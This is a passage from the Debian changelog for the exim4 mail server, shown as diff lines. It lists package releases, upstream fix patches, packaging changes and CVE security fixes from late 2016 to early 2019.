75_08-Logging-fix-initial-listening-on-log-line.patch + + 75_09-OpenSSL-Fix-aggregation-of-messages.patch + + -- Andreas Metzler <ametzler@debian.org> Wed, 20 Mar 2019 17:01:29 +0100 + +exim4 (4.92-2) unstable; urgency=medium + + * Upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Wed, 20 Feb 2019 19:23:11 +0100 + +exim4 (4.92-1) experimental; urgency=medium + + * Point watchfile to release directory again. + * New upstream stable release, identical to rc6 except for the version + string. + * Pull fixes from exim-4.92+fixes branch. + + 75_01-Fix-json-extract-operator-for-unfound-case.patch + + 75_02-Fix-transport-buffer-size-handling.patch + + 75_03-Fix-info-on-using-local_scan-in-the-default-Makefile.patch + + 75_04-GnuTLS-Fix-client-detection-of-server-reject-of-clie.patch + * Upload to experimental while waiting for rc6 to migrate. + + -- Andreas Metzler <ametzler@debian.org> Sun, 17 Feb 2019 13:13:55 +0100 + +exim4 (4.92~RC6-1) unstable; urgency=low + + * New upstream snapshot rc6, includes + 40_01-Fix-dkim_verify_signers-option.-Bug-2366.patch. + + -- Andreas Metzler <ametzler@debian.org> Sat, 09 Feb 2019 14:33:15 +0100 + +exim4 (4.92~RC5-2) unstable; urgency=high + + * In init script use start-stop-daemon directly instead of lsb-base's + killproc which currently fails to pass on the executable name to s-s-d + (921558). This broke with s-s-d 1.19.2 which (for security reasons) + requires further filtering arguments in addition to --pidfile when the pid + file is not owned by root. Closes: #921205 + + -- Andreas Metzler <ametzler@debian.org> Thu, 07 Feb 2019 18:42:41 +0100 + +exim4 (4.92~RC5-1) unstable; urgency=medium + + * New upstream snapshot rc5. + * 40_01-Fix-dkim_verify_signers-option.-Bug-2366.patch: dkim_verify_signers + was ignored. + + -- Andreas Metzler <ametzler@debian.org> Thu, 31 Jan 2019 19:25:03 +0100 + +exim4 (4.92~RC4-3) unstable; urgency=medium + + * Refresh debian/upstream/signing-key.asc from + https://downloads.exim.org/Exim-Maintainers-Keyring.asc. + * Drop outdated pointers to alioth package homepage from README.Debian. + * Update exim4-config Breaks to enforce upgrade to daemon binary package + with DANE support. Closes: #919902 + * [lintian] Minimize upstream/signing-key.asc. + + -- Andreas Metzler <ametzler@debian.org> Sun, 20 Jan 2019 17:52:39 +0100 + +exim4 (4.92~RC4-2) unstable; urgency=medium + + * Upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Sat, 05 Jan 2019 15:35:38 +0100 + +exim4 (4.92~RC4-1) experimental; urgency=low + + * New upstream version. + + Drop 75_GnuTLS-repeat-lowlevel-read-and-write-operations-whi.patch. + + Unfuzz patches. + + -- Andreas Metzler <ametzler@debian.org> Mon, 31 Dec 2018 13:13:45 +0100 + +exim4 (4.92~RC3-1) unstable; urgency=low + + * Add 75_GnuTLS-repeat-lowlevel-read-and-write-operations-whi.patch from + upstream GIT master, fixing outgoing TLS 1.3. + https://bugs.exim.org/show_bug.cgi?id=2359 + * New upstream version. + * Upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Wed, 26 Dec 2018 16:07:52 +0100 + +exim4 (4.92~RC2-1) experimental; urgency=low + + * New upstream version. + + Drop 75_01-Fix-parsing-of-option-type-Kint-integer-stored-in-K-.patch + + -- Andreas Metzler <ametzler@debian.org> Tue, 18 Dec 2018 19:20:24 +0100 + +exim4 (4.92~RC1-1) experimental; urgency=low + + * Update upstream/signing-key.asc from + https://ftp.exim.org/pub/exim/Exim-Maintainers-Keyring.asc, adding + 96E4754B8F93C1B239F1A95785BCF7AC6735A680 while removing + 1F9C181B1E83D2099F02C95AC4F4F94804D29EBA and + FAA1C7F9CD077DC4304BC0C885AB833FDDC03262. + * New upstream release candidate: + + Point watchfile to test subdir. + + Update watchfile to handle -RC1 in addition to _RC1. + + Drop 75_fixes*.patch. + + Unfuzz 32_exim4.dpatch and 90_localscan_dlopen.dpatch + + Update configuration from upstream example, except for + tls_sni/tls_require_ciphers settings on remote_smtp_smarthost transport: + * Enable dns_dnssec_ok. + * Set dnssec_request_domains = * on dnslookup and + dnslookup_relay_to_domains routers. + * Set hosts_try_dane = */dnssec_request_domains = * on remote_smtp + transport unless REMOTE_SMTP_DISABLE_DANE is set. + * Set multi_domain on remote_smtp_smarthost transport. + * Post release updates: + + 75_01-Fix-parsing-of-option-type-Kint-integer-stored-in-K-.patch + + -- Andreas Metzler <ametzler@debian.org> Sat, 15 Dec 2018 16:24:54 +0100 + +exim4 (4.91-9) unstable; urgency=low + + * Run "wrap-and-sort --max-line-length=72 --short-indent" and add back + autodeleted comments. + * Update from exim-4_91+fixes branch: + + 75_fixes_26-Fix-bad-use-of-library-copying-string-over-itself.patch + + 75_fixes_27-Fix-cyrus-sasl-authenticator-for-authenticated_fail_.patch + + 75_fixes_28-Avoid-leaving-domain-live-with-bogus-info-during-ser.patch + + 75_fixes_29-Fix-AUTH_GSASL-build.patch + + 75_fixes_30-Harden-string-list-handling.patch + + -- Andreas Metzler <ametzler@debian.org> Thu, 06 Dec 2018 19:19:38 +0100 + +exim4 (4.91-8) unstable; urgency=low + + [ Andreas Metzler ] + * Update from exim-4_91+fixes branch: + + 75_fixes_18-Restore-Darwin-OS-configuration.patch + + 75_fixes_20-Fix-filter-noerror-command.-Bug-2318.patch + + 75_fixes_21-DANE-fix-TA-mode-verify-under-GnuTLS.-Bug-2311.patch + + 75_fixes_22-Testsuite-track-newer-GnuTLS-behaviour.patch + + 75_fixes_24-DANE-ignore-undersized-TLSA-records.patch + + 75_fixes_25-Logging-do-not-log-a-missing-proxy-address-on-delive.patch + + [ Marc Haber ] + * Move definition of CHECK_RCPT_*_LOCALPARTS macro to acl file proper. + + -- Andreas Metzler <ametzler@debian.org> Sat, 29 Sep 2018 19:08:52 +0200 + +exim4 (4.91-7) unstable; urgency=low + + * Update from exim-4_91+fixes branch: + + 75_fixes_16-Fix-non-EVENTS-build.patch + + 75_fixes_17-Fix-cutthrough-delivery-for-more-than-one-iteration-.patch + + -- Andreas Metzler <ametzler@debian.org> Sun, 26 Aug 2018 11:33:15 +0200 + +exim4 (4.91-6) unstable; urgency=low + + * Update from exim-4_91+fixes branch: + + 75_fixes_13-DKIM-Fix-signing-for-body-lines-starting-with-a-pair.patch + + 75_fixes_14-ARC-Fix-verification-to-do-AS-checks-in-reverse-orde.patch + + 75_fixes_15-I18N-Fix-protocol-recorded-for-a-multi-SMTPUTF8-mess.patch + * [lintian] Do not run mininal testsuite with DEB_BUILD_OPTIONS=nocheck. + (override_dh_auto_test-does-not-check-DEB_BUILD_OPTIONS) + + -- Andreas Metzler <ametzler@debian.org> Fri, 20 Jul 2018 11:21:24 +0200 + +exim4 (4.91-5) unstable; urgency=medium + + * Update from exim-4_91+fixes branch: + + 75_fixes_10-Use-serial-number-1-for-self-generated-selfsigned-ce.patch + + 75_fixes_11-Fix-logging-of-cmdline-args-when-starting-in-an-unli.patch + + 75_fixes_12-ARC-Fix-signing-for-case-when-DKIM-signing-failed.patch + + -- Andreas Metzler <ametzler@debian.org> Sat, 09 Jun 2018 18:10:39 +0200 + +exim4 (4.91-4) unstable; urgency=medium + + * Update from exim-4_91+fixes branch: + + 75_fixes_06-Cutthrough-fix-race-resulting-in-duplicate-delivery..patch + + 75_fixes_07-tidying.patch + + 75_fixes_08-ARC-fix-crash-on-signing-with-missing-key-file.patch + + 75_fixes_09-Content-scanning-Fix-locking-on-message-spool-files..patch + * [lintian] Delete trailing empty lines in changelog. + + -- Andreas Metzler <ametzler@debian.org> Thu, 17 May 2018 17:14:53 +0200 + +exim4 (4.91-3) unstable; urgency=medium + + * Update from exim-4_91+fixes branch: + + 75_fixes_01-Belated-README.UPDATING-notes-for-Exim-4.91.patch + + 75_fixes_02-Avoid-doing-logging-in-signal-handlers.-Bug-1007.patch + + 75_fixes_03-Fix-typo-in-arc.-Bug-2262.patch + + 75_fixes_04-Fix-OpenSSL-non-OCSP-build.patch + + 75_fixes_05-DKIM-enforce-limit-of-20-on-received-DKIM-Signature-.patch + + Move 50_localscan_dlopen.dpatch to end of patch series and rename to + 90_... to preserve alphanumeric patch ordering. + * Add log_message for local blacklists to improve log readability. (Patch by + Dominic Hargreaves). + + -- Andreas Metzler <ametzler@debian.org> Sat, 28 Apr 2018 14:59:36 +0200 + +exim4 (4.91-2) unstable; urgency=low + + * Upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Sat, 21 Apr 2018 10:38:50 +0200 + +exim4 (4.91-1) experimental; urgency=medium + + * Point watchfile to release directory again and use downloads.exim.org + host. + * New upstream version. + * Tighten b-d on libgnutls28-dev to >= 3.5.7, earlier Debian packages did + not ship libgnutls-dane0. + + -- Andreas Metzler <ametzler@debian.org> Sun, 15 Apr 2018 17:52:05 +0200 + +exim4 (4.91~RC4-1) experimental; urgency=medium + + * New upstream version. + + -- Andreas Metzler <ametzler@debian.org> Mon, 09 Apr 2018 19:25:18 +0200 + +exim4 (4.91~RC3-1) experimental; urgency=medium + + * New upstream version. + * Point vcs* to salsa. + + -- Andreas Metzler <ametzler@debian.org> Thu, 05 Apr 2018 19:43:39 +0200 + +exim4 (4.91~RC2-1) experimental; urgency=medium + + * New upstream version. + Drop 75_01-Fix-heavy-pipeline-SMTP-command-input-corruption.-Bu.patch + + -- Andreas Metzler <ametzler@debian.org> Wed, 21 Mar 2018 19:25:44 +0100 + +exim4 (4.91~RC1-1) experimental; urgency=medium + + * Point watchfile to test subdirectory. + * New upstream version: + + Drop debian/patches/75_*. + + Update example.conf.md5. + Upstream now enables verify = header_syntax check in default config, + mirror this change in Debian, introduce + NO_CHECK_DATA_VERIFY_HEADER_SYNTAX macro to override this. + * Build with newly available (well, for GnuTLS) DANE support. + * Pull 75_01-Fix-heavy-pipeline-SMTP-command-input-corruption.-Bu.patch from + upstream master, fixing https://bugs.exim.org/show_bug.cgi?id=2250. + + -- Andreas Metzler <ametzler@debian.org> Sat, 17 Mar 2018 17:41:51 +0100 + +exim4 (4.90.1-5) unstable; urgency=medium + + * Update from exim-4_90+fixes branch: + 75_15-Pipe-transport-part-two.-Bug-2257.patch + 75_16-Fix-spool_wireformat-final-dot-on-LMTP-transport.-Bu.patch + 75_17-Cutthrough-enforce-non-use-in-combination-with-DKIM-.patch + + -- Andreas Metzler <ametzler@debian.org> Sat, 31 Mar 2018 07:14:31 +0200 + +exim4 (4.90.1-4) unstable; urgency=medium + + * Update from exim-4_90+fixes branch: + 75_11-DMARC-add-variables-to-list-of-those-now-unused-at-t.patch + 75_12-Fix-heavy-pipeline-SMTP-command-input-corruption.-Bu.patch + 75_13-Unbreak-DMARC.patch + 75_14-Fix-pipe-transport-to-not-use-a-socket-only-syscall..patch + + -- Andreas Metzler <ametzler@debian.org> Thu, 22 Mar 2018 07:44:05 +0100 + +exim4 (4.90.1-3) unstable; urgency=medium + + * Update from exim-4_90+fixes branch: + 75_07-Fix-ldap-lookups-for-zero-length-attribute-value.-Bu.patch + 75_08-Mark-variables-unused-before-release-of-store-in-the.patch + 75_09-Mark-variables-unused-before-release-of-store-in-the.patch + 75_10-Mark-variables-that-are-unused-before-release-of-sto.patch + + -- Andreas Metzler <ametzler@debian.org> Fri, 16 Mar 2018 18:35:01 +0100 + +exim4 (4.90.1-2) unstable; urgency=medium + + * Update from exim-4_90+fixes branch: + 75_01-ACL-Enforce-non-usability-of-control-utf8_downconver.patch + 75_02-Fix-memory-leak-during-multi-message-reception-using.patch + 75_03-OpenSSL-Fix-memory-leak-during-multi-message-connect.patch + 75_04-Fix-exim_dbmbuild-to-permit-directoryless-filenames..patch + 75_05-OpenSSL-revert-needless-free-of-certificate-list.-Th.patch + 75_06-I18N-Fix-utf8_downconvert-propagation-through-a-redi.patch + + -- Andreas Metzler <ametzler@debian.org> Sat, 10 Mar 2018 14:25:51 +0100 + +exim4 (4.90.1-1) unstable; urgency=high + + * New upstream version, fixing CVE-2018-6789. Closes: #890000 + + Drop 75_*.patch. + + -- Andreas Metzler <ametzler@debian.org> Sat, 10 Feb 2018 13:45:40 +0100 + +exim4 (4.90-7) unstable; urgency=medium + + * Update from exim-4_90+fixes branch. (exim-4.90.0.27) + + 75_21-DKIM-fix-buffer-overflow-in-verify.patch + + 75_22-Repair-Heimdal-GSSAPI-authenticator-init.patch + + 75_23-Repair-Heimdal-GSSAPI-authenticator-init-part-2.patch + * Typo fixes in old patch descriptions. (Thanks, lintian!) + + -- Andreas Metzler <ametzler@debian.org> Sat, 10 Feb 2018 13:13:37 +0100 + +exim4 (4.90-6) unstable; urgency=medium + + * Update from exim-4_90+fixes branch. + + 75_17-Cutthrough-fix-for-port-number-defined-by-router.-Bu.patch + + 75_18-GnuTLS-fix-to-ignore-timeout-on-unrelated-callout-co.patch + Closes: #887489 + + 75_19-Build-.git-may-be-a-file-when-this-repo-is-a-submodu.patch + + 75_20-Debugging-fix-potential-null-derefs-in-DSN-debug_pri.patch + + -- Andreas Metzler <ametzler@debian.org> Wed, 07 Feb 2018 19:37:03 +0100 + +exim4 (4.90-5) unstable; urgency=low + + * Add 75_16-Cutthrough-fix-multi-message-initiating-connections.patch from + exim-4_90+fixes branch. + * Improved exim4-daemon-custom documentation by Gedalya. Closes: #887971 + * [update-exim4.conf] stop converting variables set to an empty value in + /etc/exim4/update-exim4.conf.conf to exim macros with a literal value of + "empty" in the generated configuration. Thanks, Gedalya. Closes: #887972 + + -- Andreas Metzler <ametzler@debian.org> Sat, 27 Jan 2018 17:00:42 +0100 + +exim4 (4.90-4) unstable; urgency=low + + * Update from exim-4_90+fixes branch. + 75_13-Lookups-fix-mysql-lookup-returns-for-no-data-queries.patch + 75_14-Fix-D-string-expansion-to-not-use-millisec.patch + 75_15-DKIM-DNS-records-having-no-v-tag-are-acceptable.-Bug.patch + + -- Andreas Metzler <ametzler@debian.org> Sat, 20 Jan 2018 08:00:45 +0100 + +exim4 (4.90-3) unstable; urgency=medium + + * Three more patches from exim-4_90+fixes branch: + 75_10-Fix-issue-with-continued-connections-when-the-DNS-sh.patch + 75_11-MIME-ACL-fix-SMTP-response-for-non-accept-result-of-.patch + 75_12-DKIM-permit-dkim_private_key-to-override-dkim_strict.patch + + -- Andreas Metzler <ametzler@debian.org> Mon, 08 Jan 2018 18:55:28 +0100 + +exim4 (4.90-2) unstable; urgency=medium + + * Update to exim-4_90+fixes branch: + + Replace 75_Lookups-fix-pgsql-multiple-row-single-column-return.patch. + + 75_01-TLS-Fix-excessive-calling-of-smtp_auth_acl-under-AUT.patch + + 75_02-TLS-avoid-calling-smtp_auth_acl-on-client-cert-when-.patch + + 75_03-Debug-fix-coding-in-dnssec-reporting.-Bug-2205.patch + + 75_04-DKIM-Ignore-non-DKIM-TXT-records-in-DNS-response.-Bu.patch + + 75_05-Fix-build-of-nisplus-lookup.patch + + 75_06-Fix-const-issue-in-nisplus-lookup.patch + + 75_08-DKIM-tighter-checking-while-parsing-signature-header.patch + + 75_09-Fix-crash-associated-with-dnsdb-lookup-done-from-DKI.patch + + -- Andreas Metzler <ametzler@debian.org> Sat, 30 Dec 2017 15:43:52 +0100 + +exim4 (4.90-1) unstable; urgency=low + + * rc4 released as 4.90. + * Point watchfile to release directory again. + * 75_Lookups-fix-pgsql-multiple-row-single-column-return.patch from upstream + GIT master branch. Fix pgsql lookup for multiple result-tuples with a + single column. Previously only the last row was returned. + https://lists.exim.org/lurker/message/20171223.102237.a53dd5bd.en.html + * Simplify debian/rules and make it usable with dh v10 compat. The + fine-grained support for selecting the to be built packages (-custom with + or without -base) was dropped. The build process is now controlled by + attaching tasks to dh-override hooks instead of using file dependencies, + makefile-style. The latter broke with dh v10 due to upstream's + build-system which always has the main targets out-of-date inter alia due + to the compile-number feature. + * Use hardening=+all instead of hardening=+bindnow,+pie. (Does not change + buildflags ATM.) + * Use debhelper v10 compat. + * Drop override_dh_strip-arch, we have had enough toolchain and + source changes to prevent file conflicts. + + -- Andreas Metzler <ametzler@debian.org> Thu, 28 Dec 2017 13:42:23 +0100 + +exim4 (4.90~RC4-1) unstable; urgency=medium + + * New upstream version. + + -- Andreas Metzler <ametzler@debian.org> Thu, 14 Dec 2017 18:11:40 +0100 + +exim4 (4.90~RC3-2) unstable; urgency=low + + * Upload to unstable. + * Point homepage to https URL. + + -- Andreas Metzler <ametzler@debian.org> Sat, 02 Dec 2017 17:37:13 +0100 + +exim4 (4.90~RC3-1) experimental; urgency=medium + + * New upstream version. + + Fix a use-after-free while reading smtp input for header lines. + A crafted sequence of BDAT commands could result in in-use memory + being freed. CVE-2017-16943. Closes: #882648 + + Fix checking for leading-dot on a line during headers reading + from SMTP input. Previously it was always done; now only done for + DATA and not BDAT commands. CVE-2017-16944 Closes: #882671 + * Drop 78_Disable-chunking-BDAT-by-default.patch again. + + -- Andreas Metzler <ametzler@debian.org> Fri, 01 Dec 2017 19:14:08 +0100 + +exim4 (4.90~RC2-3) experimental; urgency=medium + + * As a workaround for the yet-unfixed security vulnerability resurrect (and + adapt for 4.90) 78_Disable-chunking-BDAT-by-default.patch (dropped in + 4.89-4) to disable both incoming and outgoing BDAT/CHUNKING. #882648 + https://lists.exim.org/lurker/message/20171125.034842.d1d75cac.en.html + + -- Andreas Metzler <ametzler@debian.org> Sat, 25 Nov 2017 12:01:40 +0100 + +exim4 (4.90~RC2-2) experimental; urgency=low + + * B-d on lynx, instead of lynx-cur | lynx. + + -- Andreas Metzler <ametzler@debian.org> Fri, 17 Nov 2017 17:03:10 +0100 + +exim4 (4.90~RC2-1) experimental; urgency=low + + * New upstream release candidate. + + Unfuzz patches, drop 40_reproducible_build.diff and + 75_fix_ftbfs_SOURCE_DATE_EPOCH.diff. + + Refresh debian/example.conf.md5, No changes to Debian's configuration + needed, upstream added a (commented) entry to change OpenSSL ciphers. + + -- Andreas Metzler <ametzler@debian.org> Thu, 16 Nov 2017 19:40:35 +0100 + +exim4 (4.90~RC1-1) experimental; urgency=low + + * New upstream release candidate. + + Point watchfile to test subdirectory. + + Update 40_reproducible_build.diff + + Drop 75_fixes*.patch and + 80_Repair-manualroute-transport-name-not-last-option.patch. + + Unfuzz EDITME*.diff + + 75_fix_ftbfs_SOURCE_DATE_EPOCH.diff Fix build-error when + SOURCE_DATE_EPOCH is set. + * Drop trailing whitespace in debian/README.source, debian/changelog and + debian/rules. (Thanks, lintian) + * Drop debian/README.source and outdated parts of debian/copyright. + + -- Andreas Metzler <ametzler@debian.org> Sun, 29 Oct 2017 10:52:30 +0100 + +exim4 (4.89-13) unstable; urgency=high + + * 75_fixes_21-Chunking-do-not-treat-the-first-lonely-dot-special.-.patch + from exim-4_89+fixes branch. Closes: #882671 CVE-2017-16944 + + -- Andreas Metzler <ametzler@debian.org> Wed, 29 Nov 2017 19:30:37 +0100 + +exim4 (4.89-12) unstable; urgency=high + + * Sync with exim-4_89+fixes branch: + + 75_fixes_19-Fix-mariadb-mysql-macro-confusion.patch + + 75_fixes_20-Avoid-release-of-store-if-there-have-been-later-allo.patch + Closes: #882648 (use-after-free, remote-code-execution) CVE-2017-16943 + * Update EDITME* for 75_fixes_19-Fix-mariadb-mysql-macro-confusion.patch. + + -- Andreas Metzler <ametzler@debian.org> Tue, 28 Nov 2017 20:04:23 +0100 + +exim4 (4.89-11) unstable; urgency=critical + + * B-d on lynx, instead of lynx-cur | lynx. + + -- Andreas Metzler <ametzler@debian.org> Sat, 25 Nov 2017 13:02:43 +0100 + +exim4 (4.89-10) unstable; urgency=critical + + * As a workaround for the yet-unfixed security vulnerability resurrect + 78_Disable-chunking-BDAT-by-default.patch (dropped in 4.89-4) to disable + both incoming and outgoing BDAT/CHUNKING. #882648 + https://lists.exim.org/lurker/message/20171125.034842.d1d75cac.en.html + + -- Andreas Metzler <ametzler@debian.org> Sat, 25 Nov 2017 11:43:24 +0100 + +exim4 (4.89-9) unstable; urgency=medium + + * Upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Fri, 27 Oct 2017 19:23:25 +0200 + +exim4 (4.89-8) experimental; urgency=low + + * Sync with exim-4_89+fixes branch: + 75_fixes_17-Fix-queue_run_in_order-to-ignore-the-PID-portion-of-.patch + 75_fixes_18-Use-safer-routine-for-possibly-overlapping-copy.patch + * Point watchfile to https site. + + -- Andreas Metzler <ametzler@debian.org> Mon, 23 Oct 2017 19:14:24 +0200 + +exim4 (4.89-7) unstable; urgency=low + + * In debian/rules' manually called update-mtaconflicts target use + grep-aptavail instead of hard-coding /var/lib/apt/lists/. + (Thanks, Julian Andres Klode) Closes: #874772 + * Update debian/mtalist. + * Sync with exim-4_89+fixes branch: + 75_fixes_13-Document-CVE-assignment-for-Berkeley-DB-issue.patch + 75_fixes_14-DKIM-fix-signing-bug-induced-by-total-size-of-parame.patch + 75_fixes_15-SOCKS-fix-unitialized-pointer.patch + 75_fixes_16-Fix-crash-in-transport-on-second-smtp-connect-fail-f.patch. + + -- Andreas Metzler <ametzler@debian.org> Wed, 27 Sep 2017 07:35:23 +0200 + +exim4 (4.89-6) unstable; urgency=medium + + * Use "runuser --command ..." instead of "su - --command ..." in + exim4-base.cron.daily to avoid invoking pam_systemd. Closes: #871688 + (Thanks, Jakobus Schürz) + * Sync priorities with override file: exim4{,-base,-config,-daemon-light} + optional from standard, exim4-dev optional from extra. + * In debian/rules when setting up the build-tree for -custom also copy + EDITME.eximon to allow building based on EDITME.exim4-light with eximon + building *not* disabled. (Thanks, Marko von Oppen) Closes: #783813 + + -- Andreas Metzler <ametzler@debian.org> Sat, 09 Sep 2017 15:29:39 +0200 + +exim4 (4.89-5) unstable; urgency=medium + + * Update to exim-4_89+fixes branch: + 75_fixes_01-Start-exim-4_89-fixes-to-cherry-pick-some-commits-fr.patch + 75_fixes_02-Cleanup-prevent-repeated-use-of-p-oMr-to-avoid-mem-l.patch + (replaces 79_CVE-2017-1000369.patch) + 75_fixes_03-Fix-log-line-corruption-for-DKIM-status.patch (replaces + 81_Fix-log-line-corruption-for-DKIM-status.patch) + 75_fixes_04-Openssl-disable-session-tickets-by-default-and-sessi.patch + 75_fixes_05-Transport-fix-smtp-under-combo-of-mua_wrapper-and-li.patch + 75_fixes_07-Openssl-disable-session-tickets-by-default-and-sessi.patch + 75_fixes_08-Transport-fix-smtp-under-combo-of-mua_wrapper-and-li.patch + 75_fixes_09-Use-the-BDB-environment-so-that-a-database-config-fi.patch + (CVE-2017-10140) + 75_fixes_10-Fix-cache-cold-random-callout-verify.-Bug-2147.patch + 75_fixes_11-On-callout-avoid-SIZE-every-time-but-noncacheable-rc.patch + 75_fixes_12-Fix-build-for-earlier-version-Berkeley-DB.patch + * Simplify debian/rules by including buildflags.mk unconditionally which was + introduced in dpkg 1.16.1 released in October 2011. + * Use pkg-info.mk to get package-version, upstream-version and + SOURCE_DATE_EPOCH. For the latter fall back to current time if it is not + provided by pkg-info.mk. + * [lintian] In *daemon.postinst use which certtool instead of + [ -x /usr/bin/certtool ] to check for availablility of the command. + + -- Andreas Metzler <ametzler@debian.org> Thu, 10 Aug 2017 10:17:05 +0200 + +exim4 (4.89-4) unstable; urgency=low + + * 80_Repair-manualroute-transport-name-not-last-option.patch from GIT + master: Starting with 4.85 a transport name needed to specified after + options in route_list. Closes: #865287 + * Add 81_Fix-log-line-corruption-for-DKIM-status.patch from GIT master. + * Drop 78_Disable-chunking-BDAT-by-default.patch, enable BDAT/Chunking by + default. + * Standards-Version: 4.0.0 + + Do not check for availability of invoke-rc.d, use it always and do not + fall back to invoking the init-script directly. + + Drop eximon menu file. + * Migrate to automatic debug packages. Bump b-d on debhelper since + --dbgsym-migration was introduced in debhelper 9.20160114. + + -- Andreas Metzler <ametzler@debian.org> Sat, 15 Jul 2017 12:46:16 +0200 + +exim4 (4.89-3) unstable; urgency=high + + * Re-upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Mon, 19 Jun 2017 18:51:13 +0200 + +exim4 (4.89-2+deb9u1) stretch-security; urgency=medium + + * CVE-2017-100369 + + -- <jmm@debian.org> Wed, 14 Jun 2017 07:03:07 +0200 + +exim4 (4.89-2) unstable; urgency=medium + + * Revert addition of header "# pidfile: /var/run/exim4/exim.pid" to + initscript (#844178). It breaks when the initscript does not start a + daemon but only runs update-exim4.conf. (inetd or QUEUERUNNER='nodaemon'). + Closes: #860317 + * When reporting bugs also attach /etc/default/exim4 by default. + + -- Andreas Metzler <ametzler@debian.org> Thu, 20 Apr 2017 17:14:04 +0200 + +exim4 (4.89-1) unstable; urgency=medium + + * Enable inbound (server-side) proxying for -heavy. Closes: #856712 + * New upstream release, source identical to RC7. + + -- Andreas Metzler <ametzler@debian.org> Thu, 09 Mar 2017 17:49:47 +0100 + +exim4 (4.89~RC7-1) unstable; urgency=medium + + * New upstream version. + + -- Andreas Metzler <ametzler@debian.org> Wed, 01 Mar 2017 18:37:18 +0100 + +exim4 (4.89~RC6-1) unstable; urgency=medium + + * Document E4BCD_PANICLOG_LINES in README.Debian. + * New upstream version. + + -- Andreas Metzler <ametzler@debian.org> Thu, 23 Feb 2017 18:24:33 +0100 + +exim4 (4.89~RC5-1) unstable; urgency=medium + + * New upstream version. + + -- Andreas Metzler <ametzler@debian.org> Mon, 13 Feb 2017 19:04:46 +0100 + +exim4 (4.89~RC4-1) unstable; urgency=medium + + * New upstream version. + + Drop 92_CVE-2016-1238.diff. + * Use /run/exim4/ instead of legacy directory /var/run/exim4 for pidfile + while we are changing the init script. + + -- Andreas Metzler <ametzler@debian.org> Sun, 12 Feb 2017 15:28:09 +0100 + +exim4 (4.89~RC3-1) unstable; urgency=medium + + * New upstream version. + + Unfuzz 92_CVE-2016-1238.diff. + * init file: + + Source /etc/default/exim4 *before* defining the shell + variables holding the pidfilenames. Overriding these via + /etc/default/exim4 is not supported. + + Add missing support for reload when QUEUERUNNER='queueonly'. + + For QUEUERUNNER='queueonly' use $PIDFILE instead of $QRPIDFILE. This way + $PIDFILE is used for the main exim process for all available QUEUERUNNER + choices. + + Add header "# pidfile: /var/run/exim4/exim.pid" for improved systemd + interaction. systemd-sysv-generator uses this pseudoheader to set + PIDFile in the generated service file and it also sets + RemainAfterExit=no instead of yes if it is present. Thanks, Michael + Biebl for suggestion and explanation. Closes: #844178 + + -- Andreas Metzler <ametzler@debian.org> Fri, 10 Feb 2017 19:08:52 +0100 + +exim4 (4.89~RC2-1) unstable; urgency=medium + + * New upstream version. + + Drop 75_add_bak_spec.txt.diff. + + -- Andreas Metzler <ametzler@debian.org> Sat, 04 Feb 2017 15:24:44 +0100 + +exim4 (4.89~RC1-1) unstable; urgency=low + + * Refresh debian/upstream/signing-key.asc. + * New upstream bugfix release. + + Drop superfluous patches. + 75_00_DKIM-More-validation-of-DNS-key-record.-Bug-1926.patch + 75_01_DKIM-Under-debug-when-signing-do-an-extra-check-on-t.patch + 75_02_Do-not-call-ldap_start_tls_s-on-ldapi-connections.patch + 75_03_PROXY-fix-v2-protocol-decode.-Bugs-2003-1747.patch + 75_04_CHUNKING-fix-non-pipelined-synch-checks.-Bug-2004.patch + + Unfuzz 31_eximmanpage.dpatch and + 78_Disable-chunking-BDAT-by-default.patch. + + Add 75_add_bak_spec.txt.diff - spec.txt and filter.txt missing in rc + tarball. + + Unfuzz debian/EDITME.exim4-*. + + Update debian/example.conf.md5. - Upstream typo fix. + + -- Andreas Metzler <ametzler@debian.org> Tue, 31 Jan 2017 19:52:50 +0100 + +exim4 (4.88-5) unstable; urgency=medium + + * 78_Disable-chunking-BDAT-by-default.patch: Change default value of main + option chunking_advertise_hosts and smtp transport option + hosts_try_chunking from "*" to empty. + This is a Debian specific change, we are right before the freeze and BDAT + needs a little time. + + -- Andreas Metzler <ametzler@debian.org> Thu, 19 Jan 2017 19:18:15 +0100 + +exim4 (4.88-4) unstable; urgency=medium + + * Upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Sat, 07 Jan 2017 14:38:00 +0100 + +exim4 (4.88-3) experimental; urgency=medium + + * Pull multiple patches from upstream GIT: + + 75_00_DKIM-More-validation-of-DNS-key-record.-Bug-1926.patch, + 75_01_DKIM-Under-debug-when-signing-do-an-extra-check-on-t.patch + + 75_02_Do-not-call-ldap_start_tls_s-on-ldapi-connections.patch + + 75_03_PROXY-fix-v2-protocol-decode.-Bugs-2003-1747.patch + + 75_04_CHUNKING-fix-non-pipelined-synch-checks.-Bug-2004.patch + (Thanks, Bart Noordervliet for the pointer) Closes: #850175 + + -- Andreas Metzler <ametzler@debian.org> Fri, 06 Jan 2017 17:32:20 +0100 + +exim4 (4.88-2) unstable; urgency=medium + + * Upload to unstable. + + -- Andreas Metzler <ametzler@debian.org> Tue, 27 Dec 2016 17:36:29 +0100 + +exim4 (4.88-1) experimental; urgency=medium + + * New upstream version. + * Upload to experimental, let (almost identical) 4.88~RC6-2 propagate to + testing. + * Drop 75_Fix-DKIM-information-leakage.patch. + + -- Andreas Metzler <ametzler@debian.org> Sun, 25 Dec 2016 18:07:12 +0100 + +exim4 (4.88~RC6-2) unstable; urgency=high + + * Add macro IGNORE_SMTP_LINE_LENGTH_LIMIT to allow disabling the SMTP DATA + physical line limit check for both for SMTP DATA ACL and remote_smtp* + transports. Closes: #828801 + Also update corresponding NEWS entry. + * [lintian] debian/changelog: s/lenght/length/ + * Pull 75_Fix-DKIM-information-leakage.patch from upstream GIT, fixing DKIM + information leakage issue CVE-2016-9963. + + -- Andreas Metzler <ametzler@debian.org> Thu, 22 Dec 2016 16:50:21 +0100 + +exim4 (4.88~RC6-1) unstable; urgency=low + + * New upstream version. + + -- Andreas Metzler <ametzler@debian.org> Thu, 08 Dec 2016 07:19:18 +0100 + +exim4 (4.88~RC5-1) unstable; urgency=low + + * New upstream version. + + Drop 75_01-Ensure-socket-is-nonblocking-before-draining.diff. + + -- Andreas Metzler <ametzler@debian.org> Sat, 19 Nov 2016 17:43:51 +0100 + +exim4 (4.88~RC4-2) unstable; urgency=low + + * Pull 